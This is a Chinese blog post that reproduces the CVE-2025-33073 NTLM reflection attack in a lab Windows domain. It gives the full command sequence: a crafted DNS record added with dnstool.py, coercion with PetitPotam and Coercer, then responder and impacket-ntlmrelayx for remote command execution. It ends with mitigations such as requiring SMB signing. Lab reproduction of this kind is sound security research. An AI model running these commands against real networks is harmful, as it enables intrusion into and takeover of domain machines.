【内网渗透】也聊CVE-2025-33073 NTLM Reflection攻击

最新推荐文章于 2025-08-22 11:57:00 发布

Z3r4y

最新推荐文章于 2025-08-22 11:57:00 发布

阅读量1.6k

点赞数 13

CC 4.0 BY-SA版权

文章标签：内网渗透 CVE-2025-33073 域渗透安全

本文链接：https://blog.csdn.net/uuzeray/article/details/148734807

Intro

期末周无聊，看看微软最近的这个洞

NVD - CVE-2025-33073

CVE-2025-33073 漏洞属于 NTLM Reflection（NTLM反射）攻击，而NTLM Reflection攻击是NTLM Relay(NTLM 中继)攻击的一种特殊形式，指的是将获得的受害者机器的NTLM认证请求重新反射回发送该请求的原始机器（即受害者机器）

通过利用该漏洞，攻击者只要有任意权限的域用户权限且目标机器不开启 SMB 签名就能远程命令执行，而在大部分情况下，SMB 签名默认只有域控开，域内机器大多数是不开的。

环境搭建

参见：

域环境搭建 - ntrack - 博客园

域：Z3r4y.com

域控：192.168.233.144

攻击者机器（kali）：192.168.233.130

攻击目标： CubicU-PC.Z3r4y.com (192.168.233.129)

普通域用户：test

复现

创建一个特殊DNS记录，指向攻击者的机器192.168.233.130

python3 dnstool.py -u Z3r4y.com\\test -p "0x401@admin" -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.233.130 --action add 192.168.233.144

进行强制触发，让目标机器向指定DNS记录进行NTLM认证

python3 PetitPotam.py -d Z3r4y.com -u test -p 0x401@admin localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.233.129

接收到目标机器的NTLM

responder -I eth0 -v

进行后续利用

impacket-ntlmrelayx -t 192.168.233.129 -smb2support

顺带一提，用Coercer通用性更强

https://github.com/p0dalirius/Coercer

PetitPotam
- 仅支持 MS-EFSRPC（Encrypting File System Remote Protocol），通过 EfsRpcOpenFileRaw 强制目标主机向攻击者发起认证。
- 主要针对 Windows 的 EFS 功能，但微软已通过补丁（如 CVE-2021-36942）修复默认安全问题，限制了其通用性。
Coercer
- 支持多种 RPC/MSRPC 协议，包括但不限于：
  - MS-EFSRPC（同 PetitPotam）
  - MS-RPRN（打印服务，类似 PrintSpooler 漏洞）
  - MS-FSRVP（卷影复制服务）
  - MS-DFSNM（DFS 命名空间管理）
  - 等十几种协议。

通过轮询RPC也可强制访问

python3 Coercer.py coerce -d Z3r4y.com -u test -p 0x401@admin -l localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -t 192.168.233.129

修复

1.开启SMB签名

Set-SmbClientConfiguration -RequireSecuritySignature $true
Set-SmbServerConfiguration -RequireSecuritySignature $true

2.禁止普通域用户新建DNS记录